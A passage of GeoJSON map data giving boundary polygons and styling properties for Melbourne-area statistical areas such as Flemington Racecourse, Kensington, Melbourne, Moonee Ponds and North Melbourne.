,-37.7813492],[144.9311829,-37.7813606],[144.9312286,-37.7813683],[144.9312286,-37.7813492],[144.9312592,-37.7811699],[144.9316406,-37.781208],[144.9316559,-37.7812004],[144.9317169,-37.7808495],[144.932312,-37.7809105],[144.9315948,-37.7800407],[144.9312897,-37.7796593],[144.9310455,-37.7793694],[144.9306183,-37.77882],[144.9303589,-37.7784691],[144.9301453,-37.7781372],[144.9299011,-37.7777596],[144.9304047,-37.7774887],[144.9303589,-37.77742],[144.9300842,-37.7770309],[144.9302368,-37.77705],[144.9307556,-37.7771072],[144.9309235,-37.7771301],[144.9312592,-37.7771606],[144.9316101,-37.7771988],[144.9321136,-37.7772598],[144.9324799,-37.777298],[144.9330139,-37.777359],[144.9336395,-37.7774391],[144.933609,-37.7774086],[144.9348602,-37.7775574],[144.9349365,-37.7775192],[144.9356689,-37.7776108],[144.9370728,-37.7777672],[144.9377136,-37.7791405],[144.9387207,-37.7808495],[144.9389496,-37.7815704],[144.9390106,-37.7817688],[144.9391632,-37.7825775],[144.93927,-37.7833977],[144.9394836,-37.7843399],[144.939621,-37.7849388],[144.9398956,-37.7855492],[144.9401703,-37.7860985],[144.9402618,-37.786438],[144.9402771,-37.7866592],[144.9402008,-37.7868309],[144.9399109,-37.7870102],[144.9400635,-37.7872009],[144.9403534,-37.7876091],[144.9393158,-37.7881279],[144.938385,-37.7887878],[144.9381866,-37.7889709],[144.9378204,-37.7889404],[144.9370422,-37.7888489],[144.9362793,-37.7887688],[144.9360504,-37.7887497],[144.934967,-37.7886276],[144.9346008,-37.7885895],[144.9343414,-37.788559],[144.9337921,-37.7885094],[144.9331512,-37.7884407],[144.9329987,-37.7884178],[144.9322205,-37.7883377],[144.9321594,-37.7883301],[144.9320831,-37.7883377],[144.9317322,-37.7883873],[144.9314575,-37.7883606],[144.9311523,-37.7883301],[144.9296875,-37.7881775],[144.9294739,-37.7881508],[144.9291687,-37.7881203],[144.9274902,-37.7879372],[144.9273224,-37.7879181],[144.9266663,-37.7878494],[144.9266357,-37.7878494],[144.9252319,-37.7877007],[144.9243011,-37.7875977],[144.9233856,-37.7874985],[144.9225311,-37.7874107],[144.9224548,-37.7873993],[144.9212952,-37.7874489],[144.9192505,-37.7853203],[144.9185486,-37.7845879],[144.9182129,-37.7842407],[144.9176025,-37.7836075],[144.9193115,-37.783638],[144.9203339,-37.7836685],[144.9205627,-37.78368],[144.9220276,-37.7837105]]]}},{"type":"Feature","properties":{"SA2_NAME":"Flemington Racecourse","polygonId":51,"SA3_NAME":"Melbourne City","AREASQKM":1.7093,"fillColor":"#32658E","strokeColor":"#32658E","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9108429,-37.7809906],[144.9116516,-37.7805176],[144.9135742,-37.7793884],[144.9145203,-37.7803879],[144.9147339,-37.7805786],[144.9148102,-37.7806587],[144.9151001,-37.7809601],[144.9159698,-37.781868],[144.9169617,-37.7829399],[144.9173126,-37.7833099],[144.9176025,-37.7836075],[144.9182129,-37.7842407],[144.9185486,-37.7845879],[144.9192505,-37.7853203],[144.9212952,-37.7874489],[144.9217224,-37.7878799],[144.9227905,-37.7890396],[144.9229126,-37.7891388],[144.922821,-37.7891808],[144.9224091,-37.7894402],[144.9217072,-37.7898788],[144.920639,-37.7905388],[144.9204407,-37.7906685],[144.9198151,-37.791069],[144.9171906,-37.7926979],[144.9163818,-37.79319],[144.9149628,-37.7940788],[144.9138641,-37.7947578],[144.9129486,-37.7951393],[144.9129181,-37.7951584],[144.9128265,-37.7951088],[144.9124756,-37.7949295],[144.9118195,-37.7946701],[144.9112091,-37.7944603],[144.9109344,-37.7943802],[144.910553,-37.7942696],[144.9100189,-37.7941399],[144.9094849,-37.7940102],[144.9089966,-37.7938805],[144.9083862,-37.7937088],[144.9079895,-37.7935371],[144.9075928,-37.7933006],[144.9072113,-37.7931099],[144.9068146,-37.7929192],[144.9062805,-37.7926903],[144.9056244,-37.7924576],[144.9049377,-37.7921791],[144.9045715,-37.7920609],[144.904129,-37.7918777],[144.9038391,-37.7917404],[144.9035797,-37.7915802],[144.9033203,-37.7913704],[144.9030609,-37.7910576],[144.9028778,-37.7907486],[144.902771,-37.7903595],[144.90271,-37.7899475],[144.9026947,-37.7897606],[144.90271,-37.78965],[144.9035339,-37.7892799],[144.904007,-37.7889481],[144.9042511,-37.7887077],[144.9044037,-37.7884598],[144.9045563,-37.7881699],[144.9046936,-37.7879105],[144.9048004,-37.7876396],[144.9048309,-37.78759],[144.9048615,-37.787468],[144.9049377,-37.7872086],[144.904953,-37.7871475],[144.9063263,-37.7873878],[144.9064636,-37.7868385],[144.9065399,-37.7860184],[144.9066315,-37.7855492],[144.9066925,-37.7852783],[144.9067535,-37.785038],[144.9068298,-37.7847977],[144.9069366,-37.7845383],[144.9070435,-37.7842903],[144.9071655,-37.7840309],[144.9073029,-37.7837906],[144.9074554,-37.7835388],[144.9075928,-37.7833176],[144.9077606,-37.7830887],[144.9078827,-37.7829399],[144.9079895,-37.7828178],[144.9081116,-37.7826805],[144.9082184,-37.7825584],[144.9082336,-37.7825279],[144.9108429,-37.7809906]]]}},{"type":"Feature","properties":{"SA2_NAME":"Kensington (Vic.)","polygonId":52,"SA3_NAME":"Melbourne City","AREASQKM":2.147,"fillColor":"#24878E","strokeColor":"#24878E","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9217072,-37.7898788],[144.9224091,-37.7894402],[144.922821,-37.7891808],[144.9229126,-37.7891388],[144.9227905,-37.7890396],[144.9217224,-37.7878799],[144.9212952,-37.7874489],[144.9224548,-37.7873993],[144.9225311,-37.7874107],[144.9233856,-37.7874985],[144.9243011,-37.7875977],[144.9252319,-37.7877007],[144.9266357,-37.7878494],[144.9266663,-37.7878494],[144.9273224,-37.7879181],[144.9274902,-37.7879372],[144.9291687,-37.7881203],[144.9294739,-37.7881508],[144.9296875,-37.7881775],[144.9311523,-37.7883301],[144.9314575,-37.7883606],[144.9317322,-37.7883873],[144.9320831,-37.7883377],[144.9321594,-37.7883301],[144.9322205,-37.7883377],[144.9329987,-37.7884178],[144.9331512,-37.7884407],[144.9337921,-37.7885094],[144.9343414,-37.788559],[144.9346008,-37.7885895],[144.934967,-37.7886276],[144.9360504,-37.7887497],[144.9362793,-37.7887688],[144.9370422,-37.7888489],[144.9378204,-37.7889404],[144.9378052,-37.7889404],[144.9377747,-37.7889786],[144.9377594,-37.7889786],[144.9377594,-37.7889977],[144.9377289,-37.7890205],[144.9377136,-37.7890396],[144.9376984,-37.7890472],[144.9376831,-37.7890701],[144.9376526,-37.7890892],[144.9376526,-37.7891083],[144.9376373,-37.7891083],[144.9376068,-37.7891388],[144.9375916,-37.7891693],[144.9375763,-37.7891808],[144.937561,-37.7891884],[144.9375458,-37.7892075],[144.9375305,-37.7892189],[144.9375305,-37.7892303],[144.9375153,-37.789238],[144.9375,-37.7892609],[144.9374847,-37.7892799],[144.9374695,-37.7892799],[144.9374695,-37.789299],[144.937439,-37.7893105],[144.937439,-37.7893181],[144.937439,-37.7893372],[144.9374237,-37.7893372],[144.9374237,-37.78936],[144.9373932,-37.7893791],[144.9373932,-37.7893906],[144.9373932,-37.7893906],[144.9373627,-37.7894173],[144.9373627,-37.7894173],[144.9373322,-37.7894478],[144.9373322,-37.7894478],[144.9373169,-37.7894707],[144.9373169,-37.7894707],[144.9373016,-37.7894897],[144.9372711,-37.7895203],[144.9372711,-37.7895279],[144.9372406,-37.7895584],[144.9372253,-37.7895775],[144.9372101,-37.789608],[144.9372101,-37.7896194],[144.9371796,-37.7896385],[144.9371796,-37.7896576],[144.9371338,-37.7896996],[144.9371033,-37.7897377],[144.9371033,-37.7897491],[144.937088,-37.7897797],[144.9370728,-37.7897797],[144.9370728,-37.7897873],[144.9370575,-37.7898178],[144.9370422,-37.7898293],[144.9370422,-37.7898407],[144.937027,-37.7898598],[144.9370117,-37.7898674],[144.9370117,-37.7898903],[144.9369965,-37.7898979],[144.9369812,-37.7899284],[144.9369507,-37.789959],[144.9369507,-37.789959],[144.9369507,-37.7899704],[144.9369354,-37.7899895],[144.9369202,-37.7900009],[144.9369202,-37.7900085],[144.9369202,-37.7900276],[144.9368896,-37.7900505],[144.9368896,-37.7900581],[144.9368896,-37.7900696],[144.9368896,-37.7900696],[144.9368744,-37.7900772],[144.9368591,-37.7901077],[144.9368591,-37.7901192],[144.9368439,-37.7901497],[144.9368134,-37.7901993],[144.9367981,-37.7902184],[144.9367981,-37.7902298],[144.9367523,-37.7903099],[144.9367523,-37.7903175],[144.9367371,-37.7903404],[144.9367218,-37.7903595],[144.9367065,-37.79039],[144.9366913,-37.7903976],[144.9366913,-37.7904282],[144.936676,-37.7904472],[144.9366608,-37.7904778],[144.9366608,-37.7904892],[144.9366455,-37.7905197],[144.9366302,-37.7905273],[144.9366302,-37.7905502],[144.936615,-37.7905807],[144.9365997,-37.7905884],[144.9365845,-37.7906303],[144.9365845,-37.790638],[144.9365692,-37.7906685],[144.9365692,-37.7906876],[144.936554,-37.7907372],[144.9365387,-37.7907486],[144.9365234,-37.7907677],[144.9365234,-37.7907982],[144.9365082,-37.7908287],[144.9365082,-37.7908401],[144.9364929,-37.7908478],[144.9364929,-37.7908783],[144.9364777,-37.7908974],[144.9364624,-37.7909279],[144.9364624,-37.7909698],[144.9364471,-37.7910004],[144.9364319,-37.791008],[144.9364319,-37.7910385],[144.9364166,-37.7910576],[144.9364014,-37.7911072],[144.9364014,-37.7911186],[144.9364014,-37.7911377],[144.9363861,-37.7911491],[144.9363708,-37.7911873],[144.9363708,-37.7911873],[144.9363556,-37.7912483],[144.9363556,-37.7912598],[144.9363556,-37.7912674],[144.9363403,-37.7913208],[144.9363403,-37.7913399],[144.9363251,-37.7913475],[144.9363251,-37.7913589],[144.9363098,-37.7913895],[144.9363098,-37.7914085],[144.9363098,-37.79142],[144.9362946,-37.7914886],[144.9362946,-37.7915077],[144.9362793,-37.7915382],[144.9362793,-37.7915497],[144.9362793,-37.7915878],[144.9362793,-37.7915993],[144.9362488,-37.7916489],[144.9362488,-37.7916679],[144.9362488,-37.7917175],[144.9362488,-37.7917404],[144.9362335,-37.7918587],[144.9359589,-37.7933273],[144.9356689,-37.7950706],[144.9358368,-37.7950783],[144.9358063,-37.79533],[144.9358215,-37.7958794],[144.9358215,-37.7960205],[144.9358521,-37.7963295],[144.9358826,-37.7966309],[144.9359131,-37.7967987],[144.9362946,-37.7983208],[144.9363708,-37.7986908],[144.9363708,-37.7989273],[144.9362793,-37.7994003],[144.936264,-37.7994576],[144.9360352,-37.7994308],[144.9359131,-37.799408],[144.9358978,-37.7994804],[144.9358215,-37.7999992],[144.9358521,-37.8004494],[144.9359741,-37.8008385],[144.936203,-37.8013191],[144.9362488,-37.8017082],[144.9360352,-37.8020897],[144.9359741,-37.8021698],[144.9358978,-37.8022804],[144.9341888,-37.8014107],[144.9323578,-37.8008194],[144.9296417,-37.8001785],[144.9276428,-37.799839],[144.9271851,-37.7996483],[144.9260406,-37.799469],[144.9258118,-37.7994385],[144.9256592,-37.7995605],[144.9220428,-37.7990379],[144.9197235,-37.7987099],[144.9164886,-37.7982101],[144.9164734,-37.798008],[144.9163208,-37.7975998],[144.9160309,-37.7972374],[144.9156799,-37.7968979],[144.9152832,-37.7965393],[144.9151917,-37.7964783],[144.9146423,-37.7960892],[144.9139099,-37.79562],[144.9134674,-37.7953682],[144.9129181,-37.7951584],[144.9129486,-37.7951393],[144.9138641,-37.7947578],[144.9149628,-37.7940788],[144.9163818,-37.79319],[144.9171906,-37.7926979],[144.9198151,-37.791069],[144.9204407,-37.7906685],[144.920639,-37.7905388],[144.9217072,-37.7898788]]]}},{"type":"Feature","properties":{"SA2_NAME":"Melbourne","polygonId":53,"SA3_NAME":"Melbourne City","AREASQKM":2.369,"fillColor":"#1F9F88","strokeColor":"#1F9F88","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9648743,-37.8068695],[144.9651031,-37.8068886],[144.9658508,-37.8069687],[144.9673309,-37.8071289],[144.9680328,-37.8071976],[144.9688416,-37.8072891],[144.970932,-37.8075104],[144.971283,-37.8075485],[144.9713593,-37.8077202],[144.9716644,-37.8083992],[144.9721375,-37.8093987],[144.9723816,-37.8099174],[144.9724731,-37.8101082],[144.97258,-37.8103676],[144.9727325,-37.8106804],[144.9730377,-37.811348],[144.9734802,-37.8123283],[144.9736176,-37.8125992],[144.9739532,-37.8133087],[144.9740906,-37.8136406],[144.9743958,-37.8143005],[144.9744415,-37.8143692],[144.9745483,-37.8146172],[144.9746399,-37.8148308],[144.9748535,-37.8152809],[144.9747314,-37.8153076],[144.9736328,-37.8156281],[144.9723816,-37.8159981],[144.9703369,-37.8166084],[144.9698944,-37.8167305],[144.9693146,-37.8168983],[144.9674225,-37.8174477],[144.9682465,-37.8192177],[144.9679718,-37.8192406],[144.9671631,-37.8193283],[144.9664001,-37.8194504],[144.9663086,-37.819458],[144.9653778,-37.8196106],[144.9647675,-37.8197098],[144.9644165,-37.8197594],[144.9636688,-37.8199196],[144.9630127,-37.8200989],[144.96138,-37.8205109],[144.9606171,-37.8207474],[144.9599915,-37.8210373],[144.9590302,-37.8215103],[144.9580688,-37.8219681],[144.95784,-37.8220787],[144.9569092,-37.8225899],[144.9559784,-37.8230476],[144.955719,-37.8225098],[144.9553528,-37.8216896],[144.9551392,-37.8212585],[144.9550629,-37.8210907],[144.9546204,-37.8200874],[144.9543915,-37.8195992],[144.9541321,-37.8190575],[144.9539032,-37.8185501],[144.9536896,-37.8180809],[144.9532318,-37.8170891],[144.9527893,-37.8161087],[144.9523315,-37.8151283],[144.951889,-37.8141479],[144.9517975,-37.8139687],[144.9516296,-37.8136177],[144.9514313,-37.8131599],[144.951889,-37.8130302],[144.9526672,-37.812809],[144.9530792,-37.8126907],[144.9533234,-37.8126183],[144.9539185,-37.812458],[144.9542694,-37.8123589],[144.9549408,-37.8121681],[144.9564362,-37.8117485],[144.9560394,-37.8109093],[144.9559326,-37.8106689],[144.9554596,-37.8096504],[144.9553833,-37.8094788],[144.9555817,-37.8082695],[144.9556732,-37.8077202],[144.9559784,-37.8058701],[144.9571075,-37.8059998],[144.958252,-37.8061409],[144.9584503,-37.8061409],[144.9595032,-37.8062897],[144.9599304,-37.8063278],[144.9608002,-37.8064308],[144.9614105,-37.806488],[144.9618378,-37.8065376],[144.9624481,-37.8065987],[144.9628906,-37.8066483],[144.9633636,-37.8066978],[144.9643707,-37.8068085],[144.9648743,-37.8068695]]]}},{"type":"Feature","properties":{"SA2_NAME":"Moonee Ponds","polygonId":47,"SA3_NAME":"Essendon","AREASQKM":4.3551,"fillColor":"#21A685","strokeColor":"#21A685","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.9048309,-37.7625885],[144.9049988,-37.7616997],[144.9037323,-37.7603378],[144.9038086,-37.7599373],[144.9043884,-37.7600098],[144.9044495,-37.7598305],[144.9047394,-37.7598686],[144.9047089,-37.7600098],[144.9047394,-37.7600479],[144.905304,-37.7601204],[144.9052429,-37.7604599],[144.9064026,-37.7605896],[144.9069824,-37.7606506],[144.907074,-37.7601509],[144.9072723,-37.7601776],[144.9072571,-37.7603188],[144.9075928,-37.7603607],[144.9075317,-37.7606201],[144.9075317,-37.7607079],[144.9086304,-37.7608185],[144.9091797,-37.7608795],[144.909256,-37.7605209],[144.9097137,-37.7605591],[144.90979,-37.7605705],[144.9098206,-37.7604408],[144.9100494,-37.7604675],[144.910202,-37.760479],[144.9103851,-37.7605095],[144.9104309,-37.7605209],[144.9109192,-37.7605705],[144.9109955,-37.7605782],[144.9115906,-37.7606583],[144.9116364,-37.7604294],[144.9132233,-37.7606277],[144.9132538,-37.7606697],[144.9133148,-37.7606697],[144.9132996,-37.7608109],[144.9140015,-37.7608871],[144.9139709,-37.7609901],[144.9143219,-37.7610283],[144.9143219,-37.7609978],[144.9145813,-37.7610207],[144.9146423,-37.7607498],[144.9148712,-37.7607803],[144.9148407,-37.7609482],[144.9151154,-37.7609787],[144.9151306,-37.7609177],[144.9153442,-37.7609482],[144.9153595,-37.7609177],[144.9155731,-37.7609482],[144.9155884,-37.7608986],[144.915863,-37.7609482],[144.9158173,-37.7611084],[144.9159698,-37.7611275],[144.9160309,-37.7607689],[144.9160614,-37.7606583],[144.916687,-37.7607193],[144.916687,-37.7607079],[144.9166718,-37.7607079],[144.9166718,-37.7607002],[144.9166718,-37.7606583],[144.9166565,-37.7606201],[144.9166565,-37.7605972],[144.9166412,-37.7605591],[144.9166412,-37.7605476],[144.9166107,-37.7604904],[144.9166107,-37.760479],[144.9166107,-37.7604675],[144.9166107,-37.7604179],[144.9165955,-37.7604103],[144.9165955,-37.7603989],[144.9165802,-37.7603607],[144.9165802,-37.7603493],[144.9165802,-37.7603378],[144.9165802,-37.7603073],[144.9165802,-37.7602882],[144.9165649,-37.7602692],[144.9165649,-37.7602692],[144.9165497,-37.7601891],[144.9165497,-37.7601776],[144.9165344,-37.7601585],[144.9165344,-37.760128],[144.9165192,-37.7601204],[144.9165192,-37.7600899],[144.9165192,-37.7600479],[144.9165039,-37.7599792],[144.9165039,-37.7599678],[144.9164886,-37.7598877],[144.9164734,-37.7598572],[144.9164734,-37.7598495],[144.9164734,-37.7598076],[144.9164734,-37.7597885],[144.9164581,-37.7597389],[144.9164429,-37.7597389],[144.9164429,-37.7597084],[144.9164429,-37.7596893],[144.9164429,-37.7596588],[144.9164276,-37.7596092],[144.9164276,-37.7595673],[144.9164124,-37.7595596],[144.9164124,-37.7595291],[144.9164124,-37.7594986],[144.9164124,-37.7594795],[144.9163971,-37.7594376],[144.9163971,-37.7594299],[144.9163971,-37.7594109],[144.9163818,-37.7593803],[144.9163818,-37.7593498],[144.9163818,-37.7593079],[144.9163818,-37.7592697],[144.9163666,-37.7592583],[144.9163666,-37.7592278],[144.9163666,-37.7592201],[144.9163666,-37.7591972],[144.9163513,-37.7591896],[144.9163513,-37.7591705],[144.9163513,-37.75914],[144.9163513,-37.759079],[144.9163513,-37.7590675],[144.9163361,-37.7590294],[144.9163361,-37.7590179],[144.9163361,-37.7589874],[144.9163361,-37.7589798],[144.9163361,-37.7589684],[144.9163208,-37.7589073],[144.9163208,-37.7588387],[144.9163055,-37.7587509],[144.9162903,-37.7586708],[144.9162903,-37.7586594],[144.9162903,-37.7586403],[144.9162903,-37.7586288],[144.9162903,-37.7585983],[144.9162903,-37.7585907],[144.9162903,-37.7585106],[144.9162903,-37.7584991],[144.9162903,-37.7584877],[144.9162445,-37.7569275],[144.9164734,-37.756958],[144.9169617,-37.757019],[144.9170532,-37.7570305],[144.9186859,-37.7572174],[144.9189911,-37.7572479],[144.9192657,-37.7572784],[144.9198151,-37.7573395],[144.9200439,-37.75737],[144.9211884,-37.7574883],[144.9226074,-37.7576485],[144.9229126,-37.757679],[144.9236908,-37.7577705],[144.9244232,-37.7578506],[144.9252014,-37.7579384],[144.9264526,-37.7580681],[144.9264526,-37.75811],[144.9276123,-37.7582397],[144.9287415,-37.758358],[144.9298248,-37.7584801],[144.9321289,-37.758728],[144.9320526,-37.7591782],[144.932663,-37.7592506],[144.9338074,-37.759388],[144.9339905,-37.7594986],[144.9340515,-37.7595596],[144.9340668,-37.7596893],[144.9340515,-37.7598076],[144.934021,-37.7598572],[144.9339294,-37.7600174],[144.9338989,-37.7601509],[144.9339294,-37.7602692],[144.9339905,-37.7603798],[144.934082,-37.760479],[144.9342194,-37.7605476],[144.9343872,-37.7605896],[144.9345398,-37.7605782],[144.9347076,-37.7605286],[144.9347839,-37.760498],[144.9352875,-37.7602081],[144.9355316,-37.760128],[144.9357758,-37.7601204],[144.9364166,-37.7601395],[144.9366608,-37.7601891],[144.9372711,-37.7603989],[144.9376678,-37.76054],[144.9379425,-37.7606392],[144.9381866,-37.7607307],[144.9383087,-37.7608109],[144.9384003,-37.7609177],[144.9384308,-37.7611008],[144.9384308,-37.761158],[144.9384155,-37.7614098],[144.9382629,-37.7627983],[144.9381561,-37.7641182],[144.9380951,-37.7649307],[144.9380798,-37.7652092],[144.9380035,-37.7662888],[144.937973,-37.7664986],[144.9378662,-37.7666893],[144.9377441,-37.7668571],[144.9377441,-37.7669106],[144.9377289,-37.7669907],[144.9376984,-37.7674904],[144.9376831,-37.7675781],[144.9377136,-37.7676697],[144.9378815,-37.7684784],[144.937851,-37.7686081],[144.937851,-37.7686272],[144.9377899,-37.7687378],[144.9376373,-37.7688789],[144.9372559,-37.7690392],[144.9370422,-37.7691307],[144.9363556,-37.7694206],[144.9361267,-37.7694893],[144.9356232,-37.7697372],[144.9354401,-37.7698898],[144.9353485,-37.7700577],[144.935318,-37.7701683],[144.9353027,-37.7702904],[144.9352112,-37.7706108],[144.9352417,-37.7707405],[144.935318,-37.7708588],[144.9354401,-37.7709503],[144.9355927,-37.771019],[144.9356689,-37.7710304],[144.9359589,-37.7710075],[144.9368896,-37.7709999],[144.9371185,-37.7709885],[144.9372253,-37.7709885],[144.9377136,-37.7709808],[144.9379425,-37.771019],[144.9381409,-37.7711182],[144.9382782,-37.7712173],[144.9383545,-37.7713394],[144.9384308,-37.7715492],[144.9384155,-37.7717209],[144.9383392,-37.7718773],[144.9378967,-37.7725105],[144.9377441,-37.7727394],[144.9376373,-37.7728386],[144.9372711,-37.7731209],[144.9368286,-37.7734604],[144.9366302,-37.7736092],[144.9365387,-37.7737083],[144.9364777,-37.7737885],[144.9357605,-37.7735786],[144.9351501,-37.7734184],[144.9349518,-37.7733803],[144.9347534,-37.7733498],[144.9345856,-37.7733307],[144.9344025,-37.7733192],[144.934021,-37.7732773],[144.9336548,-37.7732391],[144.9320831,-37.7730675],[144.9319916,-37.7730598],[144.9303284,-37.7728882],[144.9302521,-37.7728806],[144.9276428,-37.7725983],[144.9274292,-37.7725792],[144.9272614,-37.7725983],[144.9268799,-37.7726288],[144.9269257,-37.7727585],[144.9264374,-37.7728195],[144.9263153,-37.7728081],[144.9252625,-37.7726974],[144.9239197,-37.7725601],[144.9231567,-37.77248],[144.9219208,-37.7723503],[144.920639,-37.7722092],[144.9195557,-37.7720985],[144.9183502,-37.7719688],[144.9180908,-37.7719383],[144.9167328,-37.7717896],[144.9161682,-37.7717285],[144.9154816,-37.7716599],[144.9150238,-37.7715988],[144.9148102,-37.7715797],[144.913681,-37.7714577],[144.9125214,-37.771328],[144.9114227,-37.7711983],[144.9111328,-37.7711678],[144.9106598,-37.7711182],[144.9102936,-37.77108],[144.9100494,-37.7710495],[144.9091492,-37.7709503],[144.908844,-37.7709198],[144.90802,-37.7708282],[144.907486,-37.7707672],[144.9066315,-37.770668],[144.9051971,-37.7705078],[144.9040833,-37.7703781],[144.903595,-37.7703285],[144.9024963,-37.7701988],[144.9009399,-37.7700195],[144.901062,-37.769989],[144.9014282,-37.7698708],[144.9017334,-37.7697372],[144.9019318,-37.7696075],[144.9020844,-37.7694283],[144.9021912,-37.7692299],[144.9022522,-37.7689705],[144.9022675,-37.7688179],[144.9022827,-37.7686691],[144.9022064,-37.7683601],[144.9020386,-37.76754],[144.9019775,-37.7672501],[144.901947,-37.7669792],[144.901886,-37.7663879],[144.9018707,-37.7660904],[144.9018402,-37.7658501],[144.9017639,-37.7656288],[144.9016418,-37.7654381],[144.9015656,-37.7653885],[144.9021912,-37.7647285],[144.9035492,-37.7648773],[144.9036255,-37.7644806],[144.9037933,-37.7635574],[144.9039307,-37.7635803],[144.9039612,-37.7633781],[144.9037628,-37.7631302],[144.9037933,-37.7630196],[144.9035339,-37.7629776],[144.9032288,-37.7629395],[144.9033203,-37.7623978],[144.9048309,-37.7625885]]]}},{"type":"Feature","properties":{"SA2_NAME":"North Melbourne","polygonId":54,"SA3_NAME":"Melbourne City","AREASQKM":3.2492,"fillColor":"#35B779","strokeColor":"#35B779","strokeWeight":1},"geometry":{"type":"Polygon","coordinates":[[[144.936264,-37.7994576],[144.9362793,-37.7994003],[144.9363708,-37.7989273],[144.9363708,-37.7986908],[144.9362946,-37.7983208],[144.9359131,-37.7967987],[144.9358826,-37.7966309],[144.9358521,-37.7963295],[144.9358215,-37.7960205],[144.9358215,-37.7958794],[144.9358063,-37.79533],[144.9358368,-37.7950783],[144.9356689,-37.7950706],[144.9359589,-37.7933273],[144.9362335,-37.7918587],[144.9362488,-37.7917404],[144.9362488,-37.7917175],[144.9362488,-37.7916679],[144.9362488,-37.7916489],[144.9362793,-37.7915993],[144.9362793,-37.7915878],[144.9362793,-37.7915497],[144.9362793,-37.7915382],[144.9362946,-37.7915077],[144.9362946,-37.7914886],[144.9363098,-37.79142],[144.9363098,-37.7914085],[144.9363098,-37.7913895],[144.9363251,-37.7913589],[144.9363251,-37.7913475],[144.9363403,-37.7913399],[144.9363403,-37.7913208],[144.9363556,-37.7912674],[144.9363556,-37.7912598],[144.9363556,-37.7912483],[144.9363708,-37.7911873],[144.9363708,-37.7911873],[144.9363861,-37.7911491],[144.9364014,-37.7911377],[144.9364014,-37.7911186],[144.9364014,-37.7911072],[144.9364166,-37.7910576],[144.9364319,-37.7910385],[144.9364319,-37.791008],[144.9364471,-37.7910004],[144.9364624,-37.7909698],[144.9364624,-37.7909279],[144.9364777,-37.7908974],[144.9364929,-37.7908783],[144.9364929,-37.7908478],[144.9365082,-37.7908401],[144.9365082,-37.7908287],[144.9365234,-37.7907982],[144.9365234,-37.7907677],[144.9365387,-37.7907486],[144.936554,-37.7907372],[144.9365692,-37.7906876],[144.9365692,-37.7906685],[144.9365845,-37.790638],[144.9365845,-37.7906303],[144.9365997,-37.7905884],[144.936615,-37.7905807],[144.9366302,-37.7905502],[144.9366302,-37.7905273],[144.9366455,-37.7905197],[144.9366608,-37.7904892],[144.9366608,-37.7904778],[144.936676,-37.7904472],[144.9366913,-37.7904282],[144.9366913,-37.7903976],[144.9367065,-37.79039],[144.9367218,-37.7903595],[144.9367371,-37.7903404],[144.9367523,-37.7903175],[144.9367523,-37.7903099],[144.9367981,-37.7902298],[144.9367981,-37.7902184],[144.9368134,-37.7901993],[144.9368439,-37.7901497],[144.9368591,-37.7901192],[144.9368591,-37.7901077],[144.9368744,-37.7900772],[144.9368896,-37.7900696],[144.9368896,-37.7900696],[144.9368896,-37.7900581],[144.9368896,-37.7900505],[144.9369202,-37.7900276],[144.9369202,-37.7900085],[144.9369202,-37.7900009],[144.9369354,-37.7899895],[144.9369507,-37.7899704],[144.9369507,-37.789959],[144.9369507,-37.789959],[144.9369812,-37.7899284],[144.9369965,-37.7898979],[144.9370117,-37.7898903],[144.9370117,-37.7898674],[144.937027,-37.7898598],[144.9370422,-37.7898407],[144.9370422,-37.7898293],[144.9370575,-37.7898178],[144.9370728,-37.7897873],[144.9370728,-37.7897797],[144.937088,-37.7897797],[144.9371033,-37.7897491],[144.9371033,-37.7897377],[144.9371338,-37.7896996],[144.9371796,-37.7896576],[144.9371796,-37.7896385],[144.9372101,-37.7896194],[144.9372101,-37.789608],[144.9372253,-37.7895775],[144.9372406,-37.7895584],[144.9372711,-37.7895279],[144.9372711,-37.7895203],[144.9373016,-37.7894897],[144.9373169,-37.7894707],[144.9373169,-37.7894707],[144.9373322,-37.7894478],[144.9373322,-37.7894478],[144.9373627,-37.7894173],[144.9373627,-37.7894173],[144.9373932,-37.7893906],[144.9373932,-37.7893906],[144.9373932,-37.7893791],[144.9374237,-37.78936],[144.9374237,-37.7893372],[144.937439,-37.7893372],[144.937439,-37.7893181],[144.937439,-37.7893105],[144.9374695,-37.789299],[144.9374695,-37.7892799],[144.9374847,-37.7892799],[144.9375,-37.7892609],[144.9375153,-37.789238],[144.9375305,-37.7892303],[144.9375305,-37.7892189],[144.9375458,-37.7892075],[144.937561,-37.7891884],[144.9375763,-37.7891808],[144.9375916,-37.7891693],[144.9376068,-37.7891388],[144.9376373,-37.7891083],[144.9376526,-37.7891083],[144.9376526,-37.7890892],[144.9376831,-37.7890701],[144.9376984,-37.7890472],[144.9377136,-37.7890396],[144.9377289,-37.7890205],[144.9377594,-37.7889977],[144.9377594,-37.7889786],[144.9377747,-37.7889786],[144.9378052,-37.7889404],[144.9378204,-37.7889404],[144.9381866,-37.7889709],[144.938385,-37.7887878],[144.9393158,-37.7881279],[144.9403534,-37.7876091],[144.9404907,-37.7878189],[144.9408722,-37.7883606],[144.9409943,-37.7884598],[144.9417114,-37.7890396],[144.9421539,-37.7893982],[144.9428864,-37.789978],[144.9432831,-37.7902908],[144.9444427,-37.7912178],[144.9457092,-37.7922173],[144.9465027,-37.7928581],[144.9474487,-37.7936096],[144.9484253,-37.7943878],[144.9486542,-37.7945709],[144.9488678,-37.7947502],[144.9492798,-37.7950706],[144.9497986,-37.7954788],[144.9511871,-37.7965889],[144.9515839,-37.7968979],[144.9520721,-37.7972908],[144.9521027,-37.7973175],[144.952652,-37.7977486],[144.9529114,-37.7979584],[144.953598,-37.7985077],[144.9539642,-37.7987976],[144.9545135,-37.7992401],[144.9550323,-37.7996483],[144.9560852,-37.8004875],[144.9566345,-37.80093],[144.9568176,-37.8010902],[144.9570923,-37.8013687],[144.9573212,-37.801548],[144.9574432,-37.8018074],[144.9578857,-37.8027687],[144.9580536,-37.8031273],[144.9584503,-37.8040276],[144.9595032,-37.8062897],[144.9584503,-37.8061409],[144.958252,-37.8061409],[144.9571075,-37.8059998],[144.9559784,-37.8058701],[144.9556732,-37.8077202],[144.9555817,-37.8082695],[144.9553833,-37.8094788],[144.9554596,-37.8096504],[144.9559326,-37.8106689],[144.9560394,-37.8109093],[144.9564362,-37.8117485],[144.9549408,-37.8121681],[144.9542694,-37.8123589],[144.9539185,-37.812458],[144.9533234,-37.8126183],[144.9530792,-37.8126907],[144.9526672,-37.812809],[144.951889,-37.8130302],[144.9514313,-37.8131599],[144.9503174,-37.8134689],[144.9492798,-37.8125572],[144.94824